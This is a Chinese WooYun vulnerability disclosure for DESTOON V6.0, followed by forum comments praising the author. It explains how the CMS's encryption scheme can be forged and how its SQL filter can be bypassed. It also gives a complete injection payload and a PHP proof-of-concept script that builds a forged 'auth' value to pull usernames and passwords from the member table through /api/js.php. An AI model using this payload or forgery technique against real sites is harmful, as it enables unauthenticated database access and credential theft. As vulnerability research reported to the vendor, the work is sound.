当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141905

漏洞标题:DESTOON V6.0 (2015-09-16) 前台无需登入sql 注入一枚

相关厂商:DESTOON

漏洞作者: roker

提交时间:2015-09-18 10:26

修复时间:2015-12-17 16:50

公开时间:2015-12-17 16:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-18: 细节已通知厂商并且等待厂商处理中
2015-09-18: 厂商已经确认,细节仅向厂商公开
2015-09-21: 细节向第三方安全合作伙伴开放
2015-11-12: 细节向核心白帽子及相关领域专家公开
2015-11-22: 细节向普通白帽子公开
2015-12-02: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

看了一晚上。还好挖到了、
涉及算法(非暴力),以及一些sql姿势。
通宵提交的漏洞,可能算法剖析那写的有点不清楚,那就重复看几遍 = =
写了这么多,其实我就是想求个精华~

详细说明:

---------------------------------------------------------------------
#1 算法剖析篇
-------------
相比以前 索马里的海贼 大牛破解的, 最新版的算法以及做了很大的改进。

function encrypt($txt, $key = '') {
$key or $key = DT_KEY;
$rnd = random(32);
$txt = $txt.substr($key, 0, 3);
$len = strlen($txt);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == 32 ? 0 : $ctr;
$str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]);
}
return str_replace(array('=', '+', '/', '0x', '0X'), array('', '-P-', '-S-', '-Z-', '-X-'), base64_encode(kecrypt($str, $key)));
}
function decrypt($txt, $key = '') {
$key or $key = DT_KEY;
$txt = kecrypt(base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt)), $key);
$len = strlen($txt);
$str = '';
for($i = 0; $i < $len; $i++) {
$tmp = $txt[$i];
$str .= $txt[++$i] ^ $tmp;
}
return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';
}
function kecrypt($txt, $key) {
$key = md5($key);
$len = strlen($txt);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == 32 ? 0 : $ctr;
$str .= $txt[$i] ^ $key[$ctr++];
}
return $str;
}


可以看到 iv向量由原来的 $rnd = md5(microtime()) 变成了 $rnd = random(32);
如果仅仅是这样的话 ,倒是可以很快逆出来的,
但是,可以看到它增加了

return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';


用于判断数据的完整性。我们逆向推导下密文的还原过程。
1. 首先 base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt) 进行特殊符号替换和base64解码。
2. 带入 kecrypt.
(由于数学公式不好打 所以上传图片了- -)

d1.png


d2.png

d3.png


结论:
对于密文的前N-6位,第i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)
对于密文的后6位,当两个密文的长度 与32的余数 相等时,其值不变。
也就是说 ,要获取长度为x的明文所对应的密文,只要知道另一个为y的明文所对应的密文即可。其中

(2x+6)%32=(2y+6)%32.


-----------------------------------------------
#2 waf绕过
-----------
在/api/js.php中,

<?php
$_SERVER['REQUEST_URI'] = '';
require '../common.inc.php';
header("Content-type:text/javascript");
check_referer() or exit('document.write("<h2>Invalid Referer</h2>");');
$tag = isset($auth) ? strip_sql(decrypt($auth)) : '';
$tag or exit('document.write("<h2>Bad Parameter</h2>");');
foreach(array($DT_PRE, '#', '$', '%', '&amp;', 'table', 'fields', 'password', 'payword', 'debug') as $v) {
strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");');
}
ob_start();
tag($tag);
$data = ob_get_contents();
ob_clean();
echo 'document.write(\''.dwrite($data ? $data : 'No Data or Bad Parameter').'\');';
?>


调用了,跟到 tag

function tag($parameter, $expires = 0) {
.....//省去无意义代码
parse_str($parameter, $par);
if(!is_array($par)) return '';
$par = dstripslashes($par);
extract($par, EXTR_SKIP);
......
$order = $order ? ' ORDER BY '.$order : '';
.......
$query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize;


可以看到 fields table condition order offset pagesize 都无单引号包裹
然而由于

foreach(array($DT_PRE, '#', '$', '%', '&amp;', 'table', 'fields', 'password', 'payword', 'debug') as $v) {
strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");');


我们只能控制 condition order offset pagesize了
接下来就是绕过 strip_sql了。

function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('unio&#110;','wher&#101;','outfil&#101;','dumpfil&#101;','0&#120;\\1','selec&#116;\\1from','selec&#116;\\1','updat&#101;\\1','replac&#101;\\1','delet&#101;\\1','dro&#112;\\1','load_fil&#101;(','substrin&#103;(','subst&#114;(','lef&#116;(','conca&#116;(','concat_w&#115;(','make_se&#116;(','asci&#105;(','he&#120;(','or&#100;(','cha&#114;(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('&#100;', '&#101;', '&#103;', '&#105;', '&#110;','&#112;', '&#114;', '&#115;', '&#116;', '&#120;'), array('d', 'e', 'g', 'i', 'n', 'p', 'r', 's', 't', 'x'), $string);
}
}


这过滤简直可怕。
select任意字符from 以及select xxx都不行,
但是注意,limit后面的$offset.",".$pagesize; 是拼接起来的。
我们这样提交pagesize=from&offset=select xxx&moduleid=2&condition=userid=1 就可以绕过 select * from 的检测,
然后 select{x(name)} 绕过 select xxx。
为了方便 ,开启debug进行报错注入演示。
测试的payload为

pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1


一共 193字节。根据前面的公式 (2x+6)%32=(2y+6)%32 我们只要找一个已知明文为17字节的密文即可构造了。
在 公司联系方式这个地方可以很快的找到。

4.png


漏洞证明:

填入poc。

<?php
function cracked($Expressly,$Ciphertext,$str){
$Ciphertext=str_replace(array('-P-', '-S-', '-Z-', '-X-'),array('+', '/', '0x', '0X'),$Ciphertext);
$Ciphertext = base64_decode($Ciphertext);
$c=strlen($Ciphertext);
$text2="a";
$j=0;
$s=0;
for($i=0;$i<strlen($str);$i++,$s++){
if($j==32){$j=0;$s=0;}
$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];
$tmp=$tmp^$Expressly[$s];
$tmp=$tmp^$str[$i];
$text1=$tmp^$text2;
$xxoo =$xxoo.$text2.$text1;
$j=$j+2;
}
for($i=5;$i>=1;$i=$i-2){
$tmp=$Ciphertext[$c-$i]^$Ciphertext[$c-$i-1]^'a';
$xxoo = $xxoo.'a'.$tmp;
}
echo str_replace(array('+', '/', '0x', '0X'),array('-P-', '-S-', '-Z-', '-X-'),base64_encode($xxoo));
}
cracked("1111111111@qq.com","f018SggzVGUtHlo6J0ZaOg5rekJ6bnUGdQBgF1FhKURALgJiClMrTg",'pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1');
?>


将得到的值填入auth
提交/api/js.php?auth=xxx
修改下 Referer 即可注入。

11.png

修复方案:

算法改下。可以参考dz的

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-18 16:48

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-18 10:32 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    这已经不是在分析漏洞了,简直就是在做数学题,最后就给系统黑了。。。

  2. 2015-09-18 10:32 | 玉林嘎 ( 普通白帽子 | Rank:888 漏洞数:103 )

    给爷爷跪啦

  3. 2015-09-18 10:33 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    @疯狗 我觉得可以拿个精华的。。。狗哥您说呢。。

  4. 2015-09-18 10:33 | f4ckbaidu ( 普通白帽子 | Rank:195 漏洞数:26 | 开发真是日了狗了)

    mark

  5. 2015-09-18 10:34 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    @疯狗 爱你么么哒~~

  6. 2015-09-18 10:34 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    听说很6

  7. 2015-09-18 10:35 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    你的rank值.....

  8. 2015-09-18 10:36 | DNS ( 普通白帽子 | Rank:543 漏洞数:64 | 没有我,你们就去背IP吧)

    卧槽

  9. 2015-09-18 10:38 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B,一个漏洞能刷成N个。)

    楼主的rank亮了~

  10. 2015-09-18 10:39 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    @zeracker 嘻嘻 @301

  11. 2015-09-18 10:44 | 大师兄 ( 路人 | Rank:14 漏洞数:7 | 每日必关注乌云)

    好!中国好漏洞!我又拍桌转椅子了。

  12. 2015-09-18 10:52 | 浮萍 ( 普通白帽子 | Rank:700 漏洞数:149 | 240)

    了不得

  13. 2015-09-18 11:07 | 聋子 ( 普通白帽子 | Rank:360 漏洞数:69 | 一个聋子)

    审计牛求搞基

  14. 2015-09-18 11:09 | 骑虎打狗 ( 路人 | Rank:5 漏洞数:4 | 认真对待每个洞..)

    卧槽 你的漏洞侧漏了。。

  15. 2015-09-18 11:43 | 1c3z ( 普通白帽子 | Rank:258 漏洞数:53 | #)

    吓的我赶紧点了下关注

  16. 2015-09-18 12:07 | 小人物Reno ( 普通白帽子 | Rank:477 漏洞数:112 | X)

    论大牛市怎样炼成的?求科普!详细过程。。。

  17. 2015-09-18 12:21 | 有归于无 ( 普通白帽子 | Rank:100 漏洞数:20 | 有归于无)

    妈妈问我为什么跪着看看电脑

  18. 2015-09-18 12:26 | Mark0smith ( 实习白帽子 | Rank:91 漏洞数:32 | 唉)

    吓的我赶紧点了下关注

  19. 2015-09-18 12:38 | luwikes ( 普通白帽子 | Rank:532 漏洞数:79 | 潜心学习~~~)

    后排关注审计牛

  20. 2015-09-18 12:41 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:322 | 国内信息安全任重而道远,还需要厂商和白帽...)

    后排关注审计牛

  21. 2015-09-18 13:37 | answer ( 普通白帽子 | Rank:387 漏洞数:48 | 答案)

    后排关注

  22. 2015-09-18 17:00 | emeditor ( 路人 | Rank:2 漏洞数:1 | 过来乌云学习 求大神别黑)

    卧槽…明明才刚更新的6.0

  23. 2015-09-18 17:04 | Seven.Sea ( 普通白帽子 | Rank:114 漏洞数:27 | 唯有安全与美食不可辜负。)

    看来想看懂需要一些数学功底...

  24. 2015-09-18 17:14 | Manning ( 普通白帽子 | Rank:838 漏洞数:107 | https://github.com/manning23/MSpider)

    好牛逼

  25. 2015-09-18 17:42 | 黑名单 ( 实习白帽子 | Rank:62 漏洞数:14 | 像个傻瓜似的,为什么。)

    吓得我赶紧公开了

  26. 2015-09-18 19:06 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  27. 2015-09-19 16:02 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    后排关注审计牛

  28. 2015-09-19 21:56 | 圣路西法 ( 路人 | Rank:4 漏洞数:4 | 围观大神ส็็็็็็ ̷̸̨̀͒̏̃ͦ...)

    后排关注审计牛

  29. 2015-09-21 18:16 | 麦香浓郁 ( 路人 | Rank:2 漏洞数:1 | 前排膜拜乌云ph m锅 凤凰 a11 dot 各种师傅)

    肉可爷爷 原来你在这啊

  30. 2015-09-22 11:32 | 路人毛 ( 实习白帽子 | Rank:48 漏洞数:16 | 呵呵)

    膜拜审计牛

  31. 2015-09-22 17:50 | Ac4ary ( 路人 | Rank:12 漏洞数:2 | 404 not found 此人找不到)

    后排关注审计牛

  32. 2015-09-24 00:17 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    后排爆菊

  33. 2015-09-24 09:05 | 小红猪 ( 普通白帽子 | Rank:265 漏洞数:46 )

    膜拜

  34. 2015-09-24 10:06 | ba1ma0 ( 路人 | Rank:4 漏洞数:1 | 什么都不会..)

    后排关注审计牛

  35. 2015-09-24 11:26 | 明月影 ( 路人 | Rank:12 漏洞数:8 )

    审核真好。可以先睹为快……

  36. 2015-09-25 15:42 | 泪雨无魂 ( 普通白帽子 | Rank:168 漏洞数:48 )

    后排关注

  37. 2015-09-26 11:19 | 一只猿 ( 普通白帽子 | Rank:509 漏洞数:92 | 硬件与无线通信研究方向)

    牛叉

  38. 2015-10-08 10:57 | jackzhou ( 路人 | Rank:4 漏洞数:1 | XXX,come on X)

    mark

  39. 2015-11-23 10:13 | Sai、 ( 路人 | Rank:8 漏洞数:2 | for fun……)

    咦?roker,是不是国庆玩了xd的?

  40. 2015-11-23 17:02 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    @Sai、 0.0

  41. 2015-11-24 09:24 | Sai、 ( 路人 | Rank:8 漏洞数:2 | for fun……)

    @roker,跟你聊过,挺不错,哈哈……

  42. 2015-11-24 13:49 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    @Sai、 大牛qq私我下。。我咋不记得了。。

  43. 2015-12-12 22:52 | 村头小二黑 ( 路人 | Rank:0 漏洞数:1 | 专x各种不服)

    mark下,等公开